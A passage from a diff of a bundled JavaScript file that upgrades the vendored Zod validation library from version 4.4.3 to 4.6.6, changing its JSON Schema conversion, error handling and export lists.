(ctx.unrepresentable === "throw") { - throw new Error("Date cannot be represented in JSON Schema"); - } +var dateProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Date cannot be represented in JSON Schema"); }; var enumProcessor = (schema, _ctx, json3, _params) => { const def = schema._zod.def; const values2 = getEnumValues(def.entries); + if (values2.length === 0) { + json3.not = {}; + return; + } if (values2.every((v) => typeof v === "number")) json3.type = "number"; if (values2.every((v) => typeof v === "string")) json3.type = "string"; json3.enum = values2; }; -var literalProcessor = (schema, ctx, json3, _params) => { +var literalProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; + if (def.values.length === 0) { + json3.not = {}; + return; + } const vals = []; for (const val of def.values) { if (val === void 0) { - if (ctx.unrepresentable === "throw") { - throw new Error("Literal `undefined` cannot be represented in JSON Schema"); - } else { - } + if (handleUnrepresentable(schema, ctx, json3, params, "Literal `undefined` cannot be represented in JSON Schema")) + return; } else if (typeof val === "bigint") { - if (ctx.unrepresentable === "throw") { - throw new Error("BigInt literals cannot be represented in JSON Schema"); - } else { - vals.push(Number(val)); - } + if (handleUnrepresentable(schema, ctx, json3, params, "BigInt literals cannot be represented in JSON Schema")) + return; + vals.push(Number(val)); } else { vals.push(val); } @@ -58745,10 +63209,8 @@ var literalProcessor = (schema, ctx, json3, _params) => { json3.enum = vals; } }; -var nanProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("NaN cannot be represented in JSON Schema"); - } +var nanProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "NaN cannot be represented in JSON Schema"); }; var templateLiteralProcessor = (schema, _ctx, json3, _params) => { const _json = json3; @@ -58760,93 +63222,90 @@ var templateLiteralProcessor = (schema, _ctx, json3, _params) => { }; var fileProcessor = (schema, _ctx, json3, _params) => { const _json = json3; - const file2 = { - type: "string", - format: "binary", - contentEncoding: "binary" - }; - const { minimum, maximum, mime } = schema._zod.bag; + _json.type = "string"; + _json.format = "binary"; + _json.contentEncoding = "binary"; + const { minimum, maximum, mime } = aggregateChecks(schema); if (minimum !== void 0) - file2.minLength = minimum; + _json.minLength = minimum; if (maximum !== void 0) - file2.maxLength = maximum; - if (mime) { - if (mime.length === 1) { - file2.contentMediaType = mime[0]; - Object.assign(_json, file2); - } else { - Object.assign(_json, file2); - _json.anyOf = mime.map((m) => ({ contentMediaType: m })); - } - } else { - Object.assign(_json, file2); - } + _json.maxLength = maximum; + if (!mime) + return; + if (mime.length === 0) + _json.not = {}; + else if (mime.length === 1) + _json.contentMediaType = mime[0]; + else + _json.anyOf = mime.map((m) => ({ contentMediaType: m })); }; var successProcessor = (_schema, _ctx, json3, _params) => { json3.type = "boolean"; }; -var customProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Custom types cannot be represented in JSON Schema"); - } +var customProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Custom types cannot be represented in JSON Schema"); }; -var functionProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Function types cannot be represented in JSON Schema"); - } +var functionProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Function types cannot be represented in JSON Schema"); }; -var transformProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Transforms cannot be represented in JSON Schema"); - } +var transformProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Transforms cannot be represented in JSON Schema"); }; -var mapProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Map cannot be represented in JSON Schema"); - } +var mapProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Map cannot be represented in JSON Schema"); }; -var setProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Set cannot be represented in JSON Schema"); - } +var setProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Set cannot be represented in JSON Schema"); }; var arrayProcessor = (schema, ctx, _json, params) => { const json3 = _json; const def = schema._zod.def; - const { minimum, maximum } = schema._zod.bag; + const { minimum, maximum } = aggregateChecks(schema); if (typeof minimum === "number") json3.minItems = minimum; if (typeof maximum === "number") json3.maxItems = maximum; json3.type = "array"; - json3.items = process2(def.element, ctx, { + json3.items = processSchema(def.element, ctx, { ...params, path: [...params.path, "items"] }); }; +function inputOptin(schema) { + const def = schema._zod.def; + if (def.type === "pipe" && def.in._zod.traits.has("$ZodTransform")) { + return inputOptin(def.out); + } + if (def.type === "catch") { + return inputOptin(def.innerType); + } + return schema._zod.optin; +} var objectProcessor = (schema, ctx, _json, params) => { const json3 = _json; const def = schema._zod.def; + const shape = def.shape; + const symbolKeys = Object.getOwnPropertySymbols(shape); + if (symbolKeys.length && handleUnrepresentable(schema, ctx, json3, params, "Symbol keys cannot be represented in JSON Schema")) { + return; + } json3.type = "object"; json3.properties = {}; - const shape = def.shape; for (const key in shape) { - json3.properties[key] = process2(shape[key], ctx, { + assignProp(json3.properties, key, processSchema(shape[key], ctx, { ...params, path: [...params.path, "properties", key] - }); + })); } - const allKeys = new Set(Object.keys(shape)); - const requiredKeys = new Set([...allKeys].filter((key) => { - const v = def.shape[key]._zod; - if (ctx.io === "input") { - return v.optin === void 0; - } else { - return v.optout === void 0; + const requiredKeys = []; + for (const key of Object.keys(shape)) { + const field = def.shape[key]; + if (ctx.io === "input" ? inputOptin(field) === void 0 : field._zod.optout === void 0) { + requiredKeys.push(key); } - })); - if (requiredKeys.size > 0) { - json3.required = Array.from(requiredKeys); + } + if (requiredKeys.length > 0) { + json3.required = requiredKeys; } if (def.catchall?._zod.def.type === "never") { json3.additionalProperties = false; @@ -58854,7 +63313,7 @@ var objectProcessor = (schema, ctx, _json, params) => { if (ctx.io === "output") json3.additionalProperties = false; } else if (def.catchall) { - json3.additionalProperties = process2(def.catchall, ctx, { + json3.additionalProperties = processSchema(def.catchall, ctx, { ...params, path: [...params.path, "additionalProperties"] }); @@ -58863,7 +63322,7 @@ var objectProcessor = (schema, ctx, _json, params) => { var unionProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; const isExclusive = def.inclusive === false; - const options = def.options.map((x, i) => process2(x, ctx, { + const options = def.options.map((x, i) => processSchema(x, ctx, { ...params, path: [...params.path, isExclusive ? "oneOf" : "anyOf", i] })); @@ -58875,11 +63334,11 @@ var unionProcessor = (schema, ctx, json3, params) => { }; var intersectionProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - const a = process2(def.left, ctx, { + const a = processSchema(def.left, ctx, { ...params, path: [...params.path, "allOf", 0] }); - const b2 = process2(def.right, ctx, { + const b2 = processSchema(def.right, ctx, { ...params, path: [...params.path, "allOf", 1] }); @@ -58889,6 +63348,7 @@ var intersectionProcessor = (schema, ctx, json3, params) => { ...isSimpleIntersection(b2) ? b2.allOf : [b2] ]; json3.allOf = allOf; + ctx.intersections.push(allOf); }; var tupleProcessor = (schema, ctx, _json, params) => { const json3 = _json; @@ -58896,19 +63356,35 @@ var tupleProcessor = (schema, ctx, _json, params) => { json3.type = "array"; const prefixPath = ctx.target === "draft-2020-12" ? "prefixItems" : "items"; const restPath = ctx.target === "draft-2020-12" ? "items" : ctx.target === "openapi-3.0" ? "items" : "additionalItems"; - const prefixItems = def.items.map((x, i) => process2(x, ctx, { + const prefixItems = def.items.map((x, i) => processSchema(x, ctx, { ...params, path: [...params.path, prefixPath, i] })); - const rest = def.rest ? process2(def.rest, ctx, { + const rest = def.rest ? processSchema(def.rest, ctx, { ...params, path: [...params.path, restPath, ...ctx.target === "openapi-3.0" ? [def.items.length] : []] }) : null; + let minItems = def.items.length; + while (minItems > 0) { + const item = def.items[minItems - 1]; + const optional2 = ctx.io === "input" ? inputOptin(item) !== void 0 : item._zod.optout === "optional"; + if (!optional2) + break; + minItems--; + } + const maxItems = def.items.length; + const isClosed = !def.rest; if (ctx.target === "draft-2020-12") { json3.prefixItems = prefixItems; - if (rest) { + if (isClosed) { + json3.items = false; + } else if (rest) { json3.items = rest; } + if (minItems > 0) + json3.minItems = minItems; + if (isClosed) + json3.maxItems = maxItems; } else if (ctx.target === "openapi-3.0") { json3.items = { anyOf: prefixItems @@ -58916,61 +63392,137 @@ var tupleProcessor = (schema, ctx, _json, params) => { if (rest) { json3.items.anyOf.push(rest); } - json3.minItems = prefixItems.length; - if (!rest) { - json3.maxItems = prefixItems.length; - } + if (minItems > 0) + json3.minItems = minItems; + if (isClosed) + json3.maxItems = maxItems; } else { json3.items = prefixItems; - if (rest) { + if (isClosed) { + json3.additionalItems = false; + } else if (rest) { json3.additionalItems = rest; } + if (minItems > 0) + json3.minItems = minItems; + if (isClosed) + json3.maxItems = maxItems; } - const { minimum, maximum } = schema._zod.bag; + const { minimum, maximum } = aggregateChecks(schema); if (typeof minimum === "number") json3.minItems = minimum; if (typeof maximum === "number") json3.maxItems = maximum; }; +function stringifyKeyNames(bySchema, json3, visited) { + if (json3.$ref) { + if (visited.has(json3)) + return json3; + visited.add(json3); + const def = bySchema.get(json3)?.def; + if (!def) + return json3; + const inlined = stringifyKeyNames(bySchema, def, visited); + return inlined === def ? json3 : inlined; + } + for (const keyword of ["anyOf", "oneOf"]) { + const branches = json3[keyword]; + if (!Array.isArray(branches)) + continue; + const mapped = branches.map((branch) => stringifyKeyNames(bySchema, branch, visited)); + if (mapped.some((branch, i) => branch !== branches[i])) + json3 = { ...json3, [keyword]: mapped }; + } + const types2 = Array.isArray(json3.type) ? json3.type : [json3.type]; + const numericType = !types2.includes("string") && types2.some((t) => t === "number" || t === "integer"); + const values2 = json3.enum ?? (json3.const !== void 0 ? [json3.const] : void 0); + if (!numericType && !values2?.some((v) => typeof v === "number")) + return json3; + const { minimum, maximum, exclusiveMinimum, exclusiveMaximum, multipleOf, format, id, ...rest } = json3; + if (rest.enum) + rest.enum = rest.enum.map((v) => typeof v === "number" ? String(v) : v); + else if (typeof rest.const === "number") + rest.const = String(rest.const); + if (!numericType) + return rest; + rest.type = "string"; + if (!values2) + rest.pattern = (types2.includes("number") ? number : integer).source; + return rest; +} +var pendingRecords = /* @__PURE__ */ new WeakMap(); +function rewriteKeyNames(ctx) { + const bySchema = /* @__PURE__ */ new Map(); + for (const entry of ctx.seen.values()) { + if (entry.def && !bySchema.has(entry.schema)) + bySchema.set(entry.schema, entry); + } + const rewrites = /* @__PURE__ */ new Map(); + for (const record2 of pendingRecords.get(ctx) ?? []) { + const seen = ctx.seen.get(record2); + const names = (seen?.def ?? seen?.schema)?.propertyNames; + if (!names || names === true || rewrites.has(names)) + continue; + const rewritten = stringifyKeyNames(bySchema, names, /* @__PURE__ */ new Set()); + if (rewritten !== names) + rewrites.set(names, rewritten); + } + if (!rewrites.size) + return; + for (const entry of ctx.seen.values()) { + for (const carrier of [entry.schema, entry.def]) { + const rewritten = carrier && rewrites.get(carrier.propertyNames); + if (rewritten) + carrier.propertyNames = rewritten; + } + } +} var recordProcessor = (schema, ctx, _json, params) => { const json3 = _json; const def = schema._zod.def; json3.type = "object"; const keyType = def.keyType; - const keyBag = keyType._zod.bag; - const patterns = keyBag?.patterns; + const patterns = aggregateChecks(keyType).patterns; if (def.mode === "loose" && patterns && patterns.size > 0) { - const valueSchema = process2(def.valueType, ctx, { + const valueSchema = processSchema(def.valueType, ctx, { ...params, path: [...params.path, "patternProperties", "*"] }); json3.patternProperties = {}; for (const pattern of patterns) { - json3.patternProperties[pattern.source] = valueSchema; + assignProp(json3.patternProperties, exactPattern(pattern).source, valueSchema); } } else { if (ctx.target === "draft-07" || ctx.target === "draft-2020-12") { - json3.propertyNames = process2(def.keyType, ctx, { + json3.propertyNames = processSchema(def.keyType, ctx, { ...params, path: [...params.path, "propertyNames"] }); + let pending = pendingRecords.get(ctx); + if (!pending) { + pending = []; + pendingRecords.set(ctx, pending); + ctx.deferred.push(() => rewriteKeyNames(ctx)); + } + pending.push(schema); } - json3.additionalProperties = process2(def.valueType, ctx, { + json3.additionalProperties = processSchema(def.valueType, ctx, { ...params, path: [...params.path, "additionalProperties"] }); } const keyValues = keyType._zod.values; - if (keyValues) { + const omittableOnInput = ctx.io === "input" && inputOptin(def.valueType) !== void 0; + if (keyValues && !def.partial && !omittableOnInput) { const validKeyValues = [...keyValues].filter((v) => typeof v === "string" || typeof v === "number"); if (validKeyValues.length > 0) { - json3.required = validKeyValues; + json3.required = validKeyValues.map(String); } } }; var nullableProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - const inner = process2(def.innerType, ctx, params); + const inner = processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); if (ctx.target === "openapi-3.0") { seen.ref = def.innerType; @@ -58981,35 +63533,55 @@ var nullableProcessor = (schema, ctx, json3, params) => { }; var nonoptionalProcessor = (schema, ctx, _json, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; }; +var UNREPRESENTABLE_DEFAULT = Symbol(); +function serializeDefaultValue(value, schema, ctx, json3, params) { + let unrepresentable = false; + const serialized = JSON.stringify(value, (_, val) => { + if (typeof val !== "bigint") + return val; + unrepresentable = true; + return null; + }); + if (!unrepresentable) + return JSON.parse(serialized); + handleUnrepresentable(schema, ctx, json3, params, "BigInt defaults cannot be represented in JSON Schema"); + return UNREPRESENTABLE_DEFAULT; +} var defaultProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; - json3.default = JSON.parse(JSON.stringify(def.defaultValue)); + const value = serializeDefaultValue(def.defaultValue, schema, ctx, json3, params); + if (value !== UNREPRESENTABLE_DEFAULT) + json3.default = value; }; var prefaultProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; - if (ctx.io === "input") - json3._prefault = JSON.parse(JSON.stringify(def.defaultValue)); + if (ctx.io !== "input") + return; + const value = serializeDefaultValue(def.defaultValue, schema, ctx, json3, params); + if (value !== UNREPRESENTABLE_DEFAULT) + json3._prefault = value; }; var catchProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; let catchValue; try { catchValue = def.catchValue(void 0); } catch { - throw new Error("Dynamic catch values are not supported in JSON Schema"); + handleUnrepresentable(schema, ctx, json3, params, "Dynamic catch values are not supported in JSON Schema"); + return; } json3.default = catchValue; }; @@ -59017,32 +63589,32 @@ var pipeProcessor = (schema, ctx, _json, params) => { const def = schema._zod.def; const inIsTransform = def.in._zod.traits.has("$ZodTransform"); const innerType = ctx.io === "input" ? inIsTransform ? def.out : def.in : def.out; - process2(innerType, ctx, params); + processSchema(innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = innerType; }; var readonlyProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; json3.readOnly = true; }; var promiseProcessor = (schema, ctx, _json, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; }; var optionalProcessor = (schema, ctx, _json, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; }; var lazyProcessor = (schema, ctx, _json, params) => { const innerType = schema._zod.innerType; - process2(innerType, ctx, params); + processSchema(innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = innerType; }; @@ -59087,14 +63659,14 @@ var allProcessors = { optional: optionalProcessor, lazy: lazyProcessor }; -function toJSONSchema(input, params) { - if ("_idmap" in input) { - const registry2 = input; +function toJSONSchema(input2, params) { + if ("_idmap" in input2) { + const registry2 = input2; const ctx2 = initializeContext({ ...params, processors: allProcessors }); const defs = {}; for (const entry of registry2._idmap.entries()) { const [_, schema] = entry; - process2(schema, ctx2); + processSchema(schema, ctx2); } const schemas = {}; const external = { @@ -59106,7 +63678,7 @@ function toJSONSchema(input, params) { for (const entry of registry2._idmap.entries()) { const [key, schema] = entry; extractDefs(ctx2, schema); - schemas[key] = finalize(ctx2, schema); + assignProp(schemas, key, finalize(ctx2, schema)); } if (Object.keys(defs).length > 0) { const defsSegment = ctx2.target === "draft-2020-12" ? "$defs" : "definitions"; @@ -59117,12 +63689,12 @@ function toJSONSchema(input, params) { return { schemas }; } const ctx = initializeContext({ ...params, processors: allProcessors }); - process2(input, ctx); - extractDefs(ctx, input); - return finalize(ctx, input); + processSchema(input2, ctx); + extractDefs(ctx, input2); + return finalize(ctx, input2); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/json-schema-generator.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/json-schema-generator.js var JSONSchemaGenerator = class { /** @deprecated Access via ctx instead */ get metadataRegistry() { @@ -59132,6 +63704,7 @@ var JSONSchemaGenerator = class { get target() { return this.ctx.target; } + // annotated so the .d.cts emits an indexed access rather than an inline `import()` of an ESM path /** @deprecated Access via ctx instead */ get unrepresentable() { return this.ctx.unrepresentable; @@ -59175,7 +63748,7 @@ var JSONSchemaGenerator = class { * This must be called before emit(). */ process(schema, _params = { path: [], schemaPath: [] }) { - return process2(schema, this.ctx, _params); + return processSchema(schema, this.ctx, _params); } /** * Emit the final JSON Schema after processing. @@ -59190,6 +63763,8 @@ var JSONSchemaGenerator = class { if (_params.external) this.ctx.external = _params.external; } + this.ctx.sharedDefsExtractedFor = void 0; + this.ctx.sharedEmitDoneFor = void 0; extractDefs(this.ctx, schema); const result = finalize(this.ctx, schema); const { "~standard": _, ...plainResult } = result; @@ -59197,10 +63772,10 @@ var JSONSchemaGenerator = class { } }; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/json-schema.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/json-schema.js var json_schema_exports = {}; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/schemas.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/schemas.js var schemas_exports2 = {}; __export(schemas_exports2, { ZodAny: () => ZodAny, @@ -59216,6 +63791,7 @@ __export(schemas_exports2, { ZodCUID2: () => ZodCUID2, ZodCatch: () => ZodCatch, ZodCodec: () => ZodCodec, + ZodCreditCard: () => ZodCreditCard, ZodCustom: () => ZodCustom, ZodCustomStringFormat: () => ZodCustomStringFormat, ZodDate: () => ZodDate, @@ -59229,8 +63805,14 @@ __export(schemas_exports2, { ZodFile: () => ZodFile, ZodFunction: () => ZodFunction, ZodGUID: () => ZodGUID, + ZodIBAN: () => ZodIBAN, ZodIPv4: () => ZodIPv4, ZodIPv6: () => ZodIPv6, + ZodISODate: () => ZodISODate, + ZodISODateTime: () => ZodISODateTime, + ZodISODuration: () => ZodISODuration, + ZodISOTime: () => ZodISOTime, + ZodInstanceOf: () => ZodInstanceOf, ZodIntersection: () => ZodIntersection, ZodJWT: () => ZodJWT, ZodKSUID: () => ZodKSUID, @@ -59286,10 +63868,12 @@ __export(schemas_exports2, { cidrv4: () => cidrv42, cidrv6: () => cidrv62, codec: () => codec, + creditCard: () => creditCard2, cuid: () => cuid3, cuid2: () => cuid22, + currencyCode: () => currencyCode2, custom: () => custom, - date: () => date3, + date: () => date2, describe: () => describe2, discriminatedUnion: () => discriminatedUnion, e164: () => e1642, @@ -59306,6 +63890,7 @@ __export(schemas_exports2, { hex: () => hex2, hostname: () => hostname2, httpUrl: () => httpUrl, + iban: () => iban2, instanceof: () => _instanceof, int: () => int, int32: () => int32, @@ -59371,7 +63956,7 @@ __export(schemas_exports2, { xor: () => xor }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/checks.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/checks.js var checks_exports2 = {}; __export(checks_exports2, { endsWith: () => _endsWith, @@ -59394,6 +63979,7 @@ __export(checks_exports2, { normalize: () => _normalize, overwrite: () => _overwrite, positive: () => _positive, + properties: () => _properties, property: () => _property, regex: () => _regex, size: () => _size, @@ -59405,88 +63991,53 @@ __export(checks_exports2, { uppercase: () => _uppercase }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/iso.js -var iso_exports = {}; -__export(iso_exports, { - ZodISODate: () => ZodISODate, - ZodISODateTime: () => ZodISODateTime, - ZodISODuration: () => ZodISODuration, - ZodISOTime: () => ZodISOTime, - date: () => date2, - datetime: () => datetime2, - duration: () => duration2, - time: () => time2 -}); -var ZodISODateTime = /* @__PURE__ */ $constructor("ZodISODateTime", (inst, def) => { - $ZodISODateTime.init(inst, def); - ZodStringFormat.init(inst, def); -}); -function datetime2(params) { - return _isoDateTime(ZodISODateTime, params); -} -var ZodISODate = /* @__PURE__ */ $constructor("ZodISODate", (inst, def) => { - $ZodISODate.init(inst, def); - ZodStringFormat.init(inst, def); -}); -function date2(params) { - return _isoDate(ZodISODate, params); -} -var ZodISOTime = /* @__PURE__ */ $constructor("ZodISOTime", (inst, def) => { - $ZodISOTime.init(inst, def); - ZodStringFormat.init(inst, def); -}); -function time2(params) { - return _isoTime(ZodISOTime, params); -} -var ZodISODuration = /* @__PURE__ */ $constructor("ZodISODuration", (inst, def) => { - $ZodISODuration.init(inst, def); - ZodStringFormat.init(inst, def); -}); -function duration2(params) { - return _isoDuration(ZodISODuration, params); +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/errors.js +var _installedErrorProtos = /* @__PURE__ */ new WeakSet([Object.prototype, Error.prototype]); +function _lazyMethod(proto, key, make) { + Object.defineProperty(proto, key, { + configurable: true, + enumerable: false, + get() { + const value = make(this); + Object.defineProperty(this, key, { value, configurable: true, writable: true }); + return value; + }, + set(value) { + Object.defineProperty(this, key, { value, configurable: true, writable: true }); + } + }); } - -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/errors.js var initializer2 = (inst, issues) => { $ZodError.init(inst, issues); inst.name = "ZodError"; - Object.defineProperties(inst, { - format: { - value: (mapper) => formatError(inst, mapper) - // enumerable: false, - }, - flatten: { - value: (mapper) => flattenError(inst, mapper) - // enumerable: false, - }, - addIssue: { - value: (issue2) => { - inst.issues.push(issue2); - inst.message = JSON.stringify(inst.issues, jsonStringifyReplacer, 2); - } - // enumerable: false, - }, - addIssues: { - value: (issues2) => { - inst.issues.push(...issues2); - inst.message = JSON.stringify(inst.issues, jsonStringifyReplacer, 2); - } - // enumerable: false, - }, - isEmpty: { - get() { - return inst.issues.length === 0; - } - // enumerable: false, + const proto = Object.getPrototypeOf(inst); + if (_installedErrorProtos.has(proto)) + return; + _installedErrorProtos.add(proto); + _lazyMethod(proto, "format", (self2) => (mapper) => formatError(self2, mapper)); + _lazyMethod(proto, "flatten", (self2) => (mapper) => flattenError(self2, mapper)); + _lazyMethod(proto, "addIssue", (self2) => (issue2) => { + self2.issues.push(issue2); + self2.message = JSON.stringify(self2.issues, jsonStringifyReplacer, 2); + }); + _lazyMethod(proto, "addIssues", (self2) => (issues2) => { + self2.issues.push(...issues2); + self2.message = JSON.stringify(self2.issues, jsonStringifyReplacer, 2); + }); + Object.defineProperty(proto, "isEmpty", { + configurable: true, + enumerable: false, + get() { + return this.issues.length === 0; } }); }; var ZodError = /* @__PURE__ */ $constructor("ZodError", initializer2); -var ZodRealError = /* @__PURE__ */ $constructor("ZodError", initializer2, { +var ZodRealError = /* @__PURE__ */ $constructor("ZodError", initializer2, void 0, { Parent: Error }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/parse.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/parse.js var parse2 = /* @__PURE__ */ _parse(ZodRealError); var parseAsync2 = /* @__PURE__ */ _parseAsync(ZodRealError); var safeParse2 = /* @__PURE__ */ _safeParse(ZodRealError); @@ -59500,182 +64051,202 @@ var safeDecode2 = /* @__PURE__ */ _safeDecode(ZodRealError); var safeEncodeAsync2 = /* @__PURE__ */ _safeEncodeAsync(ZodRealError); var safeDecodeAsync2 = /* @__PURE__ */ _safeDecodeAsync(ZodRealError); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/schemas.js -var _installedGroups = /* @__PURE__ */ new WeakMap(); -function _installLazyMethods(inst, group, methods) { - const proto = Object.getPrototypeOf(inst); - let installed = _installedGroups.get(proto); - if (!installed) { - installed = /* @__PURE__ */ new Set(); - _installedGroups.set(proto, installed); - } - if (installed.has(group)) - return; - installed.add(group); - for (const key in methods) { - const fn = methods[key]; - Object.defineProperty(proto, key, { - configurable: true, - enumerable: false, - get() { - const bound = fn.bind(this); - Object.defineProperty(this, key, { - configurable: true, - writable: true, - enumerable: true, - value: bound - }); - return bound; - }, - set(v) { - Object.defineProperty(this, key, { - configurable: true, - writable: true, - enumerable: true, - value: v - }); - } - }); - } +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/schemas.js +function _ensureDefaultLocale() { + if (!globalConfig.localeError) + config(en_default()); +} +function _ensureDefaultMemoizer() { + if (!globalConfig.memoizer) + config({ memoizer: memoizer() }); } var ZodType = /* @__PURE__ */ $constructor("ZodType", (inst, def) => { + _ensureDefaultLocale(); $ZodType.init(inst, def); - Object.assign(inst["~standard"], { - jsonSchema: { - input: createStandardJSONSchemaMethod(inst, "input"), - output: createStandardJSONSchemaMethod(inst, "output") - } - }); - inst.toJSONSchema = createToJSONSchemaMethod(inst, {}); inst.def = def; inst.type = def.type; - Object.defineProperty(inst, "_def", { value: def }); - inst.parse = (data, params) => parse2(inst, data, params, { callee: inst.parse }); - inst.safeParse = (data, params) => safeParse2(inst, data, params); - inst.parseAsync = async (data, params) => parseAsync2(inst, data, params, { callee: inst.parseAsync }); - inst.safeParseAsync = async (data, params) => safeParseAsync2(inst, data, params); - inst.spa = inst.safeParseAsync; - inst.encode = (data, params) => encode3(inst, data, params); - inst.decode = (data, params) => decode3(inst, data, params); - inst.encodeAsync = async (data, params) => encodeAsync2(inst, data, params); - inst.decodeAsync = async (data, params) => decodeAsync2(inst, data, params); - inst.safeEncode = (data, params) => safeEncode2(inst, data, params); - inst.safeDecode = (data, params) => safeDecode2(inst, data, params); - inst.safeEncodeAsync = async (data, params) => safeEncodeAsync2(inst, data, params); - inst.safeDecodeAsync = async (data, params) => safeDecodeAsync2(inst, data, params); - _installLazyMethods(inst, "ZodType", { - check(...chks) { - const def2 = this.def; - return this.clone(util_exports.mergeDefs(def2, { - checks: [ - ...def2.checks ?? [], - ...chks.map((ch) => typeof ch === "function" ? { _zod: { check: ch, def: { check: "custom" }, onattach: [] } } : ch) - ] - }), { parent: true }); - }, - with(...chks) { - return this.check(...chks); - }, - clone(def2, params) { - return clone(this, def2, params); - }, - brand() { - return this; - }, - register(reg, meta3) { - reg.add(this, meta3); - return this; - }, - refine(check3, params) { - return this.check(refine(check3, params)); - }, - superRefine(refinement, params) { - return this.check(superRefine(refinement, params)); - }, - overwrite(fn) { - return this.check(_overwrite(fn)); - }, - optional() { - return optional(this); - }, - exactOptional() { - return exactOptional(this); - }, - nullable() { - return nullable(this); - }, - nullish() { - return optional(nullable(this)); - }, - nonoptional(params) { - return nonoptional(this, params); - }, - array() { - return array(this); - }, - or(arg) { - return union([this, arg]); - }, - and(arg) { - return intersection(this, arg); - }, - transform(tx) { - return pipe(this, transform(tx)); - }, - default(d) { - return _default2(this, d); - }, - prefault(d) { - return prefault(this, d); - }, - catch(params) { - return _catch2(this, params); - }, - pipe(target) { - return pipe(this, target); - }, - readonly() { - return readonly(this); - }, - describe(description) { - const cl = this.clone(); - globalRegistry.add(cl, { description }); - return cl; - }, - meta(...args) { - if (args.length === 0) - return globalRegistry.get(this); - const cl = this.clone(); - globalRegistry.add(cl, args[0]); - return cl; - }, - isOptional() { - return this.safeParse(void 0).success; - }, - isNullable() { - return this.safeParse(null).success; - }, - apply(fn) { - return fn(this); - } - }); - Object.defineProperty(inst, "description", { - get() { - return globalRegistry.get(inst)?.description; - }, - configurable: true - }); return inst; +}, { + check(...chks) { + const def = this.def; + return this.clone(util_exports.mergeDefs(def, { + checks: [ + ...def.checks ?? [], + ...chks.map((ch) => typeof ch === "function" ? { _zod: { check: ch, def: { check: "custom" }, onattach: [] } } : ch) + ] + }), { parent: true }); + }, + with(...chks) { + return this.check(...chks); + }, + clone(def, params) { + return clone(this, def, params); + }, + brand() { + return this; + }, + register(reg, meta3) { + reg.add(this, meta3); + return this; + }, + refine(check3, params) { + return this.check(refine(check3, params)); + }, + superRefine(refinement, params) { + return this.check(superRefine(refinement, params)); + }, + overwrite(fn) { + return this.check(_overwrite(fn)); + }, + optional() { + return optional(this); + }, + exactOptional() { + return exactOptional(this); + }, + nullable() { + return nullable(this); + }, + nullish() { + return optional(nullable(this)); + }, + nonoptional(params) { + return nonoptional(this, params); + }, + array() { + return array(this); + }, + or(arg) { + return union([this, arg]); + }, + and(arg) { + return intersection(this, arg); + }, + transform(tx) { + return pipe(this, transform(tx)); + }, + default(d) { + return _default2(this, d); + }, + prefault(d) { + return prefault(this, d); + }, + catch(params) { + return _catch2(this, params); + }, + pipe(target) { + return pipe(this, target); + }, + readonly() { + return readonly(this); + }, + describe(description) { + const cl = this.clone(); + globalRegistry.add(cl, { description }); + return cl; + }, + meta(...args) { + if (args.length === 0) + return globalRegistry.get(this); + const cl = 